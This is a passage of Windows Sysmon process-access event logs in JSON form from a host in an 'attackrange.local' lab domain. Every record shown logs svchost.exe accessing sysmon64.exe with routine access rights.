12:03:38.088","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7969,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:38.088\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:38.088","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7970,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:38.088\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:38.088","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7971,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:38.088\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:38.088","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7972,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:38.088\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:38.088","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7973,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:38.088\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:38.088","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7974,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:38.088\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:38.088","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7975,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:38.088\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:38.088","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7976,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:38.088\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 